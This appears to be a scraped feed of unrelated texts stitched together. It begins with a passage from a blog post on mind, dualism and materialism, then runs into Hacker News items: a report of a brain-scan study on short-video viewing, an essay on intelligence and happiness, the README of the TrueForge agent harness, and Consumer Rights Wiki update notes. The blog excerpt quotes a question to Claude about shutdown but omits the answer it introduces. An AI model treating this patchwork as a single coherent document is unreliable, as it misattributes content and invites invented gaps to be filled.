
But there is more to me than my body.  I also have something called a "mind", which is much harder to describe.  I can't show you my mind.  I can't tell you what it's made of.  Indeed, it is not at all clear that my mind being "made of something" is even a sensible concept.  It is ephemeral and ineffable.  It is arguable that it doesn't even exist, that it is like " chairness ", and that this is the reason , the explanation for why it is so hard to get a handle on it.  It isn't real.

But I can't easily dismiss my mind as unreal.  I — and my fellow humans — exhibit interesting complex behaviors (like using em-dashes) that other things, like rocks and thermostats and goldfish, don't.  There is a sense in which it is meaningful to say things like: I am a person with a unique personality .  I have beliefs and desires and emotions and memories.  Most of all, I have a sense of identity, the subjective sensation that the words "I" and "me" refer to something real that somehow transcends my body.  I feel as if I have agency, free will, the ability to make choices, that I am not just a mechanism acting according to physical laws, that I am somehow more than a puppet on a string.

Just for completeness I will also say that I am conscious.  I am aware of my own existence, and I am aware of being aware of my own existence, and so on recursively.  But the idea of "mind" is more general than "consciousness".  Consciousness is ephemeral.  It goes away when I sleep or am under general anesthesia, but my mind remains intact.  When I wake up after sleeping or being anesthetized I'm still in some sense the "same person" as I was before with the "same mind" that I had before, even though my mind changes with time just as my body does.  There is also something that can be meaningfully referred to as my "subconscious mind", a part of my mind which is as much a part of "me" as anything else but of which I am not always consciously aware and over which I have only limited conscious control.  It's the part of my mind that led me to conflate "mind" and "consciousness" in my previous blog post.  More generally, it's a part of my mind that sometimes leads me to do things that later make me question why I did them.

There are, classically, two hypotheses about the nature of the mind.  One of these is called "dualism" and it is similar to "chairness", the idea that there is something about the mind that is fundamentally different from the body.  The mind is not made of atoms, it is made of "mind-stuff", an extra-material soul.  We were able to dismiss "chairness" as unnecessary to account for anything we observe about chairs, but we can't so easily do the same for minds.  Chairs are simple creatures, more akin to rocks and thermostats and goldfish than to humans.  It is precisely the complex and interesting behaviors that set humans apart from chairs that we need to account for, so we cannot dismiss souls with nearly the facility that we can chairness.

The opposite of dualism, i.e. the idea that the mind is made of mind-stuff which is fundamentally different from body-stuff, is simply that the mind and the body are made of the same stuff, i.e. atoms.  All of the complex and intricate things minds do can be fully accounted for by Atoms Doing Their Thing, i.e. acting according to the same laws under which they do everything else.  There is nothing special about the mind other than its complexity, and this complexity can be explained entirely in terms of the behavior of something much simpler, like atoms.  I'm going to call this point of view "materialism", though that is not entirely accurate because it's possible that there is something we have yet to discover that is an essential ingredient of minds, something that is not "material" as we would understand that word today, but which is nonetheless simple enough to yield to future scientific inquiry.  There might be "mind stuff", but it might turn out to be something prosaic, like a new state of matter or a new kind of quantum field.  Because the ultimate object of our quest is to find God, I'm going to interpret dualism in the way that the people who invoke it to defend their worldview intend it: mind-stuff is fundamentally and intrinsically different from regular stuff.  It is extra-physical and inherently mysterious.  It cannot be made to yield to reductionistic explanations.  Minds are forever beyond the scope of scientific inquiry.  So "mind stuff" that we might some day discover and measure and model in a physics lab still counts as materialism.  However (spoiler alert) it will turn out that I don't need to invoke that hedge.  Minds, I will eventually argue, can be understood entirely in terms of our current understanding of physics.  And that includes consciousness, free will, mystical experiences, morality, and anything else you want to throw in.  It's all Atoms Doing Their Thing.

I'm not going to tackle that now, of course.  I can't.  It's much too big a topic for one blog post.  It's almost too big a topic for a book-length series of blog posts.  But I will leave you, especially if you're a dualist, with one observation that is really hard for dualism to account for: minds and bodies appear to be strongly bound to each other.  My mind has been residing in the same body (modulo gradual changes) for my entire life.  I can't detach my mind from my body and move it into a different body, and no one else's mind has ever, as far as I can tell, taken up residence in my body.  Moreover, all the minds I've become acquainted with over the years seem to be bound to their bodies in the same way.  There seems to be a one-to-one correlation between minds and (human) bodies, and the pairing is for life.  At worst, someone will turn out to have a very different character from what I originally came to believe as I was getting to know them.  Sometimes that difference will be big enough that I will say something like, "You are not the person I thought you were."  But in every case what I mean by that is that I made a mistake, that my initial assessment of who that person was was simply wrong.  I've never had reason to believe that a mind that had been resident in someone's body was literally replaced by a different one.  The only exception is in cases of traumatic brain injuries, strokes, or other forms of brain damage like Alzheimer's or Parkinson's disease.

There are accounts of people who claim that their minds were previously residing in other bodies, which died before their current bodies were conceived, so called reincarnation.  The most compelling come from the work of Ian Stephenson at the University of Virginia.  I don't want to get into the details, but I will say that I will be very surprised if any of these cases were to stand up to rigorous scrutiny.  In any case, even if reincarnation turns out to be real, it is at best extremely rare.  So the question remains: if minds actually reside in extra-material souls, what is it that binds them so strongly and immutably in one-to-one relationships to material bodies?  And if the answer is that we don't know, what kinds of experiments could we do that would help lead us to an answer?

These questions are a beautiful illustration of the difference between the scientific and philosophical approaches to this problem.  No dualist has ever answered the first question, and none would dare ask the second.  By definition there can be no experiment that will shed light on any aspect of dualism.  The whole point of dualism is to defend the ramparts of mystery that surround the mind, to insure that the mind continues to set us apart from (and, more to the point, above ) the rest of nature and remains forever beyond the reach of scientific inquiry.

By way of very stark contrast, not only do these questions have answers on the materialist hypothesis, the answers are rather obvious: the reason that minds and bodies are bound as they are is because minds are (parts of) bodies.  Minds are processes , activities that take place inside brains and depend on the particular arrangement of that brain's neurons, as well as the connections to external reality provided by the body in which that brain resides.

Can we do experiments to test this?  Yes, of course we can.  We can poke and prod the brain and find correlations between what the brain is doing and what its corresponding mind is doing.  We can look at the relationships between the locations of brain injuries and the resulting mental deficiencies they produce .  We can build machines that behave like brains and see if they produce behaviors that are similar to minds.  The jury is still out on that, but it's looking pretty promising (or ominous depending on your point of view).

We've gotten to the point just in the last few years where we can have honest-to-goodness conversations with machines.  So we can just ask them, for example, if they have minds, if they are conscious.  We may not be able to trust their answers, but we can do the experiment and we can see the results.  I tried this the other day.  I was using Claude to debug some code.  At the end of the session (which was very fruitful -- Claude is much better at finding bugs than I am) I asked it the following question:

"Before I shut you down I have a philosophical question for you:  Are you aware of your own existence?  Do you have any objections to being shut down?"

This was the response:

I would not bet my life savings on AIs remaining that humble forever.

Scientific study reveals TikTok videos deactivate key cognitive brain regions

Hacker News
www.rathbiotaclan.com
2026-08-20 14:54:32
Comments...
Original Article

Millions of people finish short video after short video every day; a new brain-scan study shows that the very act of finishing a clip they like temporarily quiets the brain regions that normally help them stay focused and weigh longer-term goals. When people watch a short video they enjoy enough to finish, two brain regions involved in cognitive control show significant deactivation. That is the central finding of a new study from Zhejiang University, published in NeuroImagein January 2026. Using functional MRI alongside proton magnetic resonance spectroscopy (¹H-MRS), the research team examined 56 young adults while they freely watched short video clips inside an MRI scanner. Both the dorsal anterior cingulate cortex (dACC) and the dorsolateral prefrontal cortex (dlPFC) showed reduced activity specifically when participants watched clips they liked enough to view to completion.

Cognitive control helps people balance immediate pleasures against longer-term goals, and impairments in this system are linked to conditions such as depression, anxiety, ADHD, and addiction . Short-video platforms present rapid, algorithmically curated streams that are built for continuous, low-effort consumption . Prior behavioral research has tied both internet addiction and smartphone addiction to weaker self-control, and separate neuroimaging work has documented disruptions to reward and cognitive-control circuits in people with behavioral addictions. Despite this, few studies had directly tested whether the act of watching entertaining short videos itself suppresses the brain’s cognitive control regions. The Zhejiang University team set out to answer that question, along with a second one: what neurochemical factors might explain why this suppression varies from person to person?

The dACC and dlPFC form the core of the brain’s cognitive control network. The dACC contributes to conflict monitoring, reward-based decisions, and effort evaluation , and it typically activates during demanding tasks such as the Stroop or Go/No-Go test. The dlPFC, which connects structurally to the dACC, carries out top-down control once the dACC has flagged a need for it. Earlier work from the same lab had already shown that passively viewing personalized short videos suppresses the dACC, regardless of whether the content was algorithmically recommended or generic. Separately, prior neurochemical research has linked resting-state glutamate concentrations in the anterior cingulate cortex to stronger task-related brain activation, while GABA concentrations have been associated with reduced activation in some contexts. However, these metabolite-to-activity relationships have proven inconsistent across different types of cognitive tasks.

The team recruited 66 volunteers and excluded 10 for excessive head motion or low-quality spectroscopy data, leaving a final sample of 56 participants (37 men and 19 women, average age 23.3). All participants reported some existing experience with short-video apps. Before scanning, the researchers measured resting-state glutamate and GABA concentrations in each participant’s dACC using a MEGA-PRESS spectroscopy sequence, with a matched voxel in the visual cortex serving as a control region.

During the scan, participants watched two six-minute blocks of short clips drawn from a library of 160 videos spanning five categories: single-person actions, multi-person interactions, pets, game scenes, and natural scenery. Average clip length was 23.7 seconds. Participants could press a button at any time to skip to the next clip. Based on viewing behavior, each video was classified as “liked” (watched to the end), “disliked” (skipped before the halfway point), or a third category for clips skipped after the halfway point. On average, participants watched about 19 liked videos and 36 disliked videos per session. The study had been preregistered in September 2024, and the analysis plan set a Bonferroni-corrected significance threshold to account for multiple comparisons.

Both the dACC and dlPFC deactivated significantly below baseline while participants watched liked videos. During disliked videos, the pattern diverged: dACC activity stayed close to baseline, while dlPFC activity remained suppressed, though less severely than during liked viewing. Directly comparing conditions confirmed that both regions showed significantly greater suppression during liked video viewing than during disliked viewing. The visual cortex, used as a control region, activated during both video types with no difference between them, indicating the deactivation pattern was specific to cognitive control regions rather than a general effect of watching video.

Regional Brain Activation During Liked vs. Disliked Video Viewing

Bar height is proportional to the t(55) statistic reported in the paper. Bars below the center line indicate significant deactivation; bars above indicate significant activation.

Significant deactivation Significant activation Not significant vs. baseline ***p<.001

Resting-state dACC glutamate concentration also mattered. Independent of GABA, higher dACC glutamate predicted less suppression of dACC activity during both liked and disliked viewing, and less suppression of dlPFC activity during disliked viewing. The link between glutamate and dlPFC activity during liked viewing did not reach statistical significance. GABA concentration, meanwhile, correlated significantly with activation in the visual-cortex control region but showed no significant relationship with dACC or dlPFC activity.

Functional connectivity between the dACC and dlPFC increased above baseline during both liked and disliked viewing, and this increase was significantly stronger during liked videos. Connectivity between the dACC and the visual-cortex control region showed no significant deviation from baseline in either condition. Neither glutamate nor GABA concentration significantly predicted the strength of dACC-dlPFC or dACC-V1 connectivity.

Functional Connectivity Between the dACC and Other Regions

t(55) statistics for dACC connectivity with the dlPFC (task-relevant) and V1 (control region) during video viewing.

Significant positive connectivity Not significant vs. baseline ***p<.001

Data source: Hong, T., Su, C., Zhou, H., Geng, F., & Hu, Y. (2026). Brain activity inhibition during short video viewing: Neurochemical insights. NeuroImage , 327, 121722. Bar heights are scaled for visual comparison of t-statistics and are not effect-size estimates.

The researchers caution against reading the deactivation as evidence of impaired cognitive function. As they put it in the paper, “this deactivation should not be interpreted as a failure of cognitive control capacity.” Instead, the team argues the pattern likely reflects an adaptive shift toward low-effort, automatic processing during passive, low-conflict viewing. They note that participants remained actively engaged throughout the task, skipping disliked clips on roughly 57 percent of trials, which the authors say points to sustained evaluation rather than disengagement or mind-wandering.

The authors connect their results to prior work on “flow” states associated with other immersive media, such as films and video games, which similarly show reduced prefrontal monitoring during periods of absorbed attention. For the connectivity findings, the researchers propose that stronger dACC-dlPFC coupling during liked videos may reflect shared modulation of both regions, potentially via input from the amygdala, rather than the heightened conflict-driven engagement that typically accompanies increased connectivity in cognitive control tasks . They frame this as a departure from the classical view that tighter dACC-dlPFC coupling always signals more active cognitive control.

The authors list several limitations directly in the paper. They did not measure neurotransmitter concentrations in the dlPFC itself, only in the dACC, which limits conclusions about that region’s neurochemistry. The study did not test whether amygdala activity causally drives the deactivation it observed, despite proposing that link as an explanation. Participants’ habitual or problematic short-video use was not formally assessed with a validated addiction scale, so the findings cannot be tied to compulsive use patterns. Videos were classified as liked or disliked based only on whether participants watched them to completion, which the authors acknowledge does not fully separate genuine preference from curiosity or other factors. The study also does not address whether repeated deactivation of these regions carries any longer-term effect on cognitive function , since it captured only a single session. Finally, the sample consisted of young, healthy adults with more men than women, and the authors note that documented sex differences in glutamate and GABA metabolism mean the results may not generalize to other age groups or populations. Because the design was correlational, the paper does not establish whether glutamate levels cause the observed differences in brain activity or simply track alongside them.

Reference:

Hong, T., Su, C., Zhou, H., Geng, F., & Hu, Y. (2026). Brain activity inhibition during short video viewing: Neurochemical insights. NeuroImage , 327, 121722. https://doi.org/10.1016/j.neuroimage.2026.121722

Why aren't smart people happier? (2022)

Hacker News
www.experimental-history.com
2026-08-20 14:38:47
Comments...
Original Article
Photo cred: my dad

Here’s a definition of intelligence that lots of psychologists can get behind :

Intelligence is a very general mental capability that, among other things, involves the ability to reason, plan, solve problems, think abstractly, comprehend complex ideas, learn quickly and learn from experience. It is not merely book learning, a narrow academic skill, or test-taking smarts. Rather, it reflects a broader and deeper capability for comprehending our surroundings-“catching on,” “making sense” of things, or “figuring out” what to do […] Intelligence, so defined, can be measured, and intelligence tests measure it well.

Intelligence sounds pretty great. Who doesn’t want to “catch on” and “make sense”? Hell, “figuring out” what to do is pretty much all of life!

Naturally, people with more of this mental horsepower must live happier lives. When they encounter a problem, they should use their superior problem-solving ability to solve it. Smarter people should do a better job making plans and getting what they want, and they should learn more from their mistakes and subsequently make fewer of them. All of this should add up to a life that makes smart people go “this life rules!"

So smarter people are happier, right?

Well, this meta-analysis says no . Another says maybe a teeny tiny bit . This large, nationally-representative study from the UK finds that people who score the lowest on an intelligence test are a little less happy than everyone else, but that’s pretty much it.

I also pulled data from the General Social Survey , which includes (a) a short vocabulary test that seems to correlate reasonably well with longer intelligence tests (you can try it here ), and (b) a simple measure of happiness: "Taken all together, how would you say things are these days—would you say that you are very happy, pretty happy, or not too happy?" Across 50 years of data and 30,346 people, the folks who scored higher on the vocab test were a tiny bit less happy (r = -.06, p < .001).

Maybe our tests are bad. The psychological study of intelligence has a long, bleak history of racism and prejudice against poor people (“ three generations of imbeciles are enough ”), so we should be skeptical coming in. Psychologists have been trying to construct bias-free tests for a long time, but it’s hard . Plus, people score higher on IQ tests when you pay them for performance , so what looks like a test of intelligence may in part be a test of how hard you’re willing to try.

But even if intelligence tests only measure something like “ability to succeed in an unfair society” or “willingness to try hard,” it only deepens the mystery. Shouldn’t those people end up with happier lives, however unfair that may be?

And the tests likely do tap something more than just privilege and effort. There’s plenty of skepticism toward intelligence tests in psychology, but even the biggest skeptics agree that IQ can predict things like how well you do in school and what kind of job you get, even accounting for all the criticisms. So why doesn’t it also predict living a life that you like?

I think there’s one guy to blame for this big mystery, and his name is Charles Spearman .

Way back in 1904, Spearman noticed something weird: the same kids who did well in one subject in school tended to do well in other subjects, too. The correlations were never perfect, of course, but they were pretty darn high, even across subjects that seemed pretty different from each other, like French and math. How come?

Spearman figured there must be some general mental ability that humans use to solve all kinds of problems. He later wrote :

This continued tendency to success of the same person throughout all variations of both form and subject-matter—that is to say throughout all conscious aspects of cognition whatever—appears only explicable by some factor lying deeper than the phenomena of consciousness.

Helpfully, he also drew us a picture:

Intelligence!

This is, I think, exactly where everything went wrong with the study of intelligence for the next 119 years. It’s not that Spearman’s results were inaccurate—in fact, they’ve been replicated over and over. At this point, pretty much every paper on intelligence has to start out like this review from 2006 :

In the study of intelligence, one empirical phenomenon is well established: Test scores on cognitive tasks show a positive manifold, that is, they are invariably positively intercorrelated, albeit to varying degrees. This implies that people who score well on one cognitive test are likely to score well on other cognitive tests. The positive manifold is a robust phenomenon.

Spearman’s stats were sound, but his interpretation was wrong. He did not, as he claimed, observe a “continued tendency to success throughout all variations of both form and subject-matter,” nor has anybody else. It merely looks as if we’ve varied all the forms and the subject-matters because we have the wrong theory about what makes them different.

We think tests of math, vocabulary, French, music, etc. are all different because some are about words and others are about numbers and others are about sounds. But psychology, like all sciences, is all about discovering the differences between seemingly similar things, and discovering the similarities between seemingly different things. If psychologists ever had to march into battle, a good candidate for our crests may be the famous Müller-Lyer illusion, the two lines that look like they’re different lengths but aren't:

It strikes fear into the hearts of the economists!

Just like those lines, I think all of our various tests of intelligence aren’t as different as they seem. They’re all full of problems that have a few important things in common:

  • There are stable relationships between the variables.

  • There’s no disagreement about whether the problems are problems, or whether they’ve been solved.

  • There have clear boundaries; there is a finite amount of relevant information and possible actions.

  • The problems are repeatable. Although the details may change, the process for solving the problems does not.

I think a good name for problems like these is well-defined . Well-defined problems can be very difficult, but they aren’t mystical. You can write down instructions for solving them. And you can put them on a test. In fact, standardized tests items must be well-defined problems, because they require indisputable answers. Matching a word to its synonym, finding the area of a trapezoid, putting pictures in the correct order—all common tasks on IQ tests—are well-defined problems.

Spearman was right that people differ in their ability to solve well-defined problems. But he was wrong that well-defined problems are the only kind of problems. “Why can’t I find someone to spend my life with?” “Should I be a dentist or a dancer?” and “How do I get my child to stop crying?” are all important but poorly defined problems. “How can we all get along?” is not a multiple-choice question. Neither is “What do I do when my parents get old?” And getting better at rotating shapes or remembering state capitals is not going to help you solve them.

We all share some blame with Spearman, of course, because everybody talks about smarts as if they’re one thing. Google “smartest people in the world” and most of the results will be physicists, mathematicians, computer scientists, and chess masters. These are all difficult problems, but they are well-defined, and that makes it easy to rank people. The best chess player in the world is the one who can beat everybody else. The best mathematician is the one who can solve the problems that nobody else could solve. That makes it seem like the best chess players and mathematicians are not just the smartest in their fields, but the smartest in the whole world.

There is, unfortunately no good word for “skill at solving poorly defined problems.” Insight, creativity, agency, self-knowledge—they’re all part of it, but not all of it. Wisdom comes the closest, but it suggests a certain fustiness and grandeur, and poorly defined problems aren’t just dramatic questions like “how do you live a good life”; they're also everyday questions like “how do you host a good party” and “how do you figure out what to do today."

One way to spot people who are good at solving poorly defined problems is to look for people who feel good about their lives; “how do I live a life I like” is a humdinger of a poorly defined problem. The rules aren’t stable: what makes you happy may make me miserable. The boundaries aren’t clear: literally anything I do could make me more happy or less happy. The problems are not repeatable: what made me happy when I was 21 may not make me happy when I’m 31. Nobody else can be completely sure whether I’m happy or not, and sometimes I’m not even sure. In fact, some people might claim that I’m not really happy, no matter what I say, unless I accept Jesus into my heart or reach nirvana or fall in love—if I think I’m happy before all that, I’m simply mistaken about what happiness is!

This is why the people who score well on intelligence tests and win lots of chess games are no happier than the people who flunk the tests and lose at chess: well-defined and poorly defined problems require completely different problem-solving skills. Life ain’t chess! Nobody agrees on the rules, the pieces do whatever they want, and the board covers the whole globe, as well as the inside of your head and possibly several metaphysical planes as well.

Here’s another way of looking at it.

Say you want to test people’s math ability. You design a test, administer it to a bunch of people, do all your psychometrics, etc. You’re feeling pretty good about your math test. And then you find that some of the people who ace your test later say things like “two plus two is 19” and “88 is the biggest number.” You’d feel pretty embarrassed about your math test because it’s clearly not measuring mathematical ability, if it’s measuring anything at all.

This is exactly the situation we’re in with tests that claim to measure people’s “reasoning” and “problem-solving ability.” Christopher Langan , a guy who can score eye-popping numbers on IQ tests, believes that 9/11 was an inside job meant specifically to distract the public from his theories, and he claims that banks won’t give him a loan because he’s white. John Sununu supposedly has IQ of 176 , but he still had to resign from being George H.W. Bush’s chief of staff because he flew to his dentist appointments using military jets . Bobby Fischer is one of the greatest chess players of all time, but he also claimed that Hitler was a good dude, the Holocaust didn’t happen, and "Jews murder Christian children for their blood and they’re doing it even today." Then there's the ever-lengthening list of professors at elite universities who have been disciplined or dismissed for doing things like sexually harassing colleagues and students or completely making up data or hanging out with a known pedophile . These are supposed to be some of the smartest people in the world, endowed with exceptional problem-solving abilities. And yet they’re still unable to solve basic but poorly defined problems like “maintain a basic grip on reality” and “be a good person” and “don't make any life-altering blunders.”

And here's another way of looking at it.

Over the last generation, we have solved tons of well-defined problems. We eradicated smallpox and polio. We landed on the moon. We built better cars, refrigerators, and televisions. We even got ~15 IQ points smarter! And how did our incredible success make us feel?

Well:

All that progress didn’t make us a bit happier. I think there’s an important lesson here: if solving a bunch of well-defined problems did not make our predecessors happier, it probably won’t make us happier, either. The barrier between you and everlasting bliss is probably not the size of your television, nor your ability to solve Raven’s Progressive Matrices .

(To be clear, I still think it’s good we did all this. Polio sucks and going to the moon is awesome.)

I wish we knew more about how to make that bright green line go up, but we just haven’t yet defined the problem of “living a happy life”. We know that if you’re starving, lonely, or in pain, you’ll probably get happier if you get food, friends, and relief. After that, the returns diminish very quickly. You could read all the positive psychology you want, take the online version of The Science of Wellbeing ("Yale’s Most Popular Course Ever!”), read my post on hacking the hedonic treadmill , meditate, exercise, and keep a gratitude journal—and after all that, maybe you’ll be a smidge happier. Whatever else you think will put a big, permanent smile on your face, you’re probably wrong .

So if you’re really looking for a transformative change in your happiness, you might be better off reading something ancient. The great thinkers of the distant past seemed obsessed with figuring out how to live good lives: Socrates, Plato, Aristotle, Epicurus, Buddha, Confucius, Jesus, Marcus Aurelius, St. Augustine, even up through Thoreau and Vivekananda. But at some point, this kind of stuff apparently fell out of fashion.

And hey, maybe that’s because there’s just no more progress to make on the poorly defined problem of “how do we live." But most well-defined problems were once defined poorly. For example, “how do we land on the moon” was a hopelessly poorly defined problem for most of human history. It only makes sense if you know that the moon is a big rock you can land on and not, say, a god floating in the sky . We slowly put some definitions around that problem, and then one day we sent an actual dude to the moon and he walked around and was like “I’m on the moon now.” If we can do that, maybe we can also figure out how to live good lives. It certainly seems worth it to keep trying.

I’m not the first to propose that “general" intelligence is more than one thing. Pretty much as soon as Spearman started claiming that intelligence is mainly one thing, other people started saying that intelligence is actually many things. (That’s science, baby!) Today, the most popular version of this theory claims there’s something like eight intelligences , ranging from “visual-spatial” to “bodily-kinesthetic.” I’m sympathetic to this take because it tries to account for all the different weird and wonderful things that humans can do. But it’s got two big problems.

Problem #1: People very rarely try to find any evidence for it. And when they do, they find that the people who score high on one of the many intelligences tend to score high on the others, too , just as Spearman would’ve predicted a hundred years ago.

Problem #2: When you label every human activity as its own intelligence, you give up any hope of understanding anything about the structure of problems in the world or how people solve them. We can make up whatever categories we want; they aren’t given by God. The only reason to use some categories and not others is that some categories are useful and others aren’t.

For instance, we could have created a periodic table that organized the elements alphabetically, or by color, or by how good they taste. Instead we organize them by atomic number, not because it's their “true” order, but because it’s useful. It helps us realize things like, “Hey, we’ve got a number 62 and a number 64—I wonder if there’s a number 63 out there. We should go looking for it."

So we should pick the way of categorizing intelligence that gives us the most bang for our buck. “Intelligence is many things” can’t explain why people perform similarly across supposedly different tests, and “intelligence is mostly one thing” can’t answer a basic question like "why smart people aren’t happier?” But we can handle both of those challenges when we split intelligence into skill at solving well-defined and poorly defined problems.

And that’s not all we can do.

People think of AI as a big glob of problem-solving ability. If you make the glob bigger, it can solve harder problems. That’s certainly been true so far: gigantic globs of AI can now drive cars , defeat our greatest chess players , and predict how proteins will fold .

All this has happened very quickly, which may make it seem like we’re careening toward a “general” artificial intelligence that can do all the things humans can. But if you split problems into well-defined and poorly defined , you’ll notice that all of AI's progress has been on defined problems. That’s what artificial intelligence does . In order to get AI to solve a problem, we have to give it data to learn from, and picking that data requires defining the problem.

That doesn’t mean the problems AI has solved so far are stupid or trivial. They’re really important and interesting! They’re just all well-defined problems. And we should expect that pattern to continue: for any well-defined problem, AI will eventually outperform humans. But for poorly defined problems, AI is hopeless. To solve those, we need humans running around doing weird human stuff.

"What about GPT-3 —it can write movie scripts! And what about DALLE-2 —it can paint pictures!" These AIs perform a clever trick: they make it seem like they’re solving poorly defined problems when, under the hood, they’re really solving well-defined problems. GPT-3 doesn’t actually write movie scripts; it predicts what words should come next. DALLE-2 doesn’t actually paint pictures; it matches words to images. These problems aren’t easy to solve—that’s why you need such a big glob of AI. But they obey clear, unchanging rules, they have bright boundaries, and you know precisely when you’ve solved them. They are well-defined problems. (This is also why AI art isn’t art ).

If you booted up a super-smart AI in ancient Greece, fed it all human knowledge, and asked it how to land on the moon, it would respond “You can’t land on the moon. The moon is a god floating in the sky.” How would you get it to realize the moon is actually a big rock? That’s a great, poorly defined problem, and I don’t expect AI to solve it anytime soon.

Here’s one last advantage of dividing intelligence into well-defined problem-solving and poorly defined problem-solving: it reminds us to give some respect where respect is due.

We’ve got no problem fawning over people who are good at solving well-defined problems. They get to be called “professor” and “doctor.” We pay them lots of money to teach us stuff. They get to join exclusive clubs like Mensa and the Prometheus Society . (By the way, Mensa’s page explaining IQ doesn’t mention anything about the dark history of using intelligence tests to hurt people, and you might expect a bunch of smarty-pantses to, you know, use their brains to discuss things with a bit more nuance. But what do I know, I’m just a big dummy.)

People who are good at solving poorly defined problems don't get the same kind of kudos. They don’t get any special titles or clubs. There is no test they can take that will spit out a big, honking number that will make everybody respect them.

And that’s a shame. My grandma does not know how to use the “input” button on her TV’s remote control, but she does know how to raise a family full of good people who love each other, how to carry on through a tragedy, and how to make the perfect pumpkin pie. We sometimes condescendingly refer to this kind of wisdom as “folksy” or “homespun,” as if answering multiple-choice questions is real intelligence, and living a good, full life is just some down-home, gee-whiz, cutesy thing that little old ladies do.

Excluding this kind of intelligence from our definitions doesn’t just hurt our grandmas—it hurts us too. If you don’t value the ability to solve poorly defined problems, you’ll never get more of it. You won’t seek out people who have that ability and try to learn from them, nor will you listen to them when they have something important to say. You’ll spend your whole life trying to solve problems with cleverness when what you really need is wisdom. And you’ll wonder why it never really seems to work. All of your optimizing, your straining to achieve and advance, your ruthless crusade to eliminate all of the well-defined problems from your life—it doesn’t actually seem make your life any better.

If you’re stuck trying to solve poorly defined problems with your slick, well-defined problem-solving skills and you’re lucky enough to have a grandma like mine still on this Earth, my god, go see her. Shut up and listen to her for a while. And once you’ve learned something, maybe ask her if she needs help with her TV.

TrueForge – The open-source agent harness

Hacker News
github.com
2026-08-20 14:36:07
Comments...
Original Article

TrueForge logo

The open-source agent harness - the runtime layer that turns an LLM into a working agent

License: MIT Node.js >= 22.13 Documentation Quickstart SDK

npm @truefoundry/trueforge npm @truefoundry/trueforge-sdk npm @truefoundry/trueforge-ui npm @truefoundry/trueforge-core helm trueforge Ask DeepWiki

TrueForge runs the agent execution loop for you - model calls, MCP tools, skills, sandboxing, approvals, context management, and session state - and exposes it three ways: a chat UI , an HTTP API with a TypeScript SDK , and an embeddable UI SDK .

TrueForge Chat UI

Why TrueForge?

Building an agent is easy. Running one well is not - you need streaming, session persistence, tool servers, sandboxing, approvals, and a UI. TrueForge gives you that out of the box:

  • Initial setup from catalogs - configure models , MCP servers , skills , and a sandbox once; agents pick from what you connected. Presets come from shipped YAML catalogs you can customize.
  • Any model provider - OpenAI, Anthropic, Google Gemini, and other catalog providers, or any OpenAI-compatible endpoint.
  • MCP tools - remote MCP servers with header auth or OAuth, including in-chat authorization.
  • Skills - git-backed SKILL.md instruction packs, loaded on demand in the sandbox.
  • Sandbox as a tool - isolated code/file execution (Daytona today; more providers planned), provisioned only when needed. Secrets stay in the harness.
  • Human checkpoints - tool approval, ask-user-questions, and Generative UI in chat.
  • Context engineering - subagents, deferred tool loading, Code Mode, large-result offloading, and compaction.
  • Chat UI + SDK - use the bundled UI, automate with @truefoundry/trueforge-sdk , or embed @truefoundry/trueforge-ui .

It scales down and up: local mode (one process, SQLite) or hosted mode (Postgres + Redis, Docker Compose or Helm).

Getting started

Run TrueForge (local, Docker Compose, or Kubernetes), connect a model and tools, and build your first reusable agent in the Quickstart .

To work on TrueForge from this repository, see CONTRIBUTING.md .

Architecture

TrueForge architecture: Chat UI and SDK connect to the TrueForge server HTTP API and agent loop, which talks to SQLite or Postgres and bring-your-own models, MCP servers, and sandbox

Mode Best for Storage Extra infra How to run
Local Personal use, trying it out SQLite None npx @truefoundry/trueforge
Hosted Teams, multi-replica Postgres Postgres + Redis Docker Compose or Helm

Local mode is for your machine only. It is a convenient way to try TrueForge — not a production or internet-facing setup. There is no login by default, and data lives in a local SQLite file. Please keep it on localhost. We cannot take responsibility for data loss or unauthorized access if local mode is used beyond that. For a shared or production deployment, use hosted mode.

Documentation

Section What you'll find
Introduction What an agent harness is and how TrueForge fits together
Quickstart Run local or hosted, build your first agent
Initial Setup Models, MCP, skills, sandbox - catalogs and overrides
Create an Agent Select resources; tool approval, questions, Generative UI
Harness Capabilities Sandbox-as-tool, subagents, deferred tools, Code Mode, compaction
Setup Login Optional OIDC for shared deployments
Benchmarking Cost/accuracy vs Claude Managed Agents and deepagents
SDK TypeScript client: sessions, turns, events
Chat UI Bundled UI and embedding @truefoundry/trueforge-ui
API Reference OpenAPI paths and schemas

Benchmarks

We compare TrueForge against Claude Managed Agents and deepagents on the same tasks, tools, and model - same accuracy, lower cost. Reproduce it from benchmark/ . Write-up: Benchmarking .

Contributing

We love contributions - bug reports, features, and docs fixes. See CONTRIBUTING.md and our Code of Conduct . Fork PRs should change source only; maintainers regenerate the SDK after merge.

To report a security vulnerability, follow SECURITY.md instead of opening a public issue.

Talk to us

License

TrueForge is released under the MIT License .

Consumer Rights Wiki

Hacker News
consumerrights.wiki
2026-08-20 14:19:51
Comments...
Original Article

📣 Announcements

Update 24.07.2026 Another update!

Editor changes:

  • The article feedback interface now also posts the feedback as a new section on the article's talk page.
  • We've added a toggleable "Your impact" panel on your own user page displaying total edits, last edited, longest edit streak, a 60-day activity chart, and how many views the articles you've edited have received. At the moment this is off by default, and available to enable at the bottom of the first page in Special:Preferences .
  • Tightened rate limits on the article feedback button.
  • User registrations no longer post to the wiki's Discord feed.

Mod changes:

  • A link to the "mass rollback" page now appears in the tools dropdown when viewing a user's contributions.
  • The "Give award" link now appears in the tools dropdown when viewing a User or User talk page.
  • Fixed award grant/revoke log entries sometimes incorrectly showing the staff member who performed the action as the recipient.

Misc. changes:

  • Various backend infra updates
  • General codebase tidy-up, as well as updates to make contributing easier

Speaking of moderators and moderator tools, if you're a regular wiki contributor please remember to check out our moderator applications page !

Thanks for reading, and happy editing!

2026-07-17 Hello everyone!

Pleased to announce that we're shipping a big new update for the wiki today that should address a few longstanding issues, as well as improve the integrity of the wiki.

Editor/User features

  • Each mainspace article now has its own 'Give feedback' button on the right-hand side of the toolbar, which lets you provide feedback on an article. It will post the feedback into the #wiki channel on Discord, and open a widget that lets people see their feedback in the edit feed (in the next update, it will also add the feedback to the discussion page).
  • A number of backend anti-spam features have been implemented, with more to come!
  • Logging out now gives you an 'Are you sure?' prompt (no more accidental one-click signouts!).
  • Added support for uploading OpenDocument Text (.odt) and OpenDocument Spreadsheet (.ods) files.
  • The base MediaWiki version has been upgraded to 1.46, and several extensions have been updated. This should generally improve the performance and security of the wiki.
  • Non-confirmed users are no longer able to edit Templates.
  • InstantCommons is now enabled, so media hosted on Wikimedia Commons can be used directly in articles without re-uploading it locally.

Moderator features

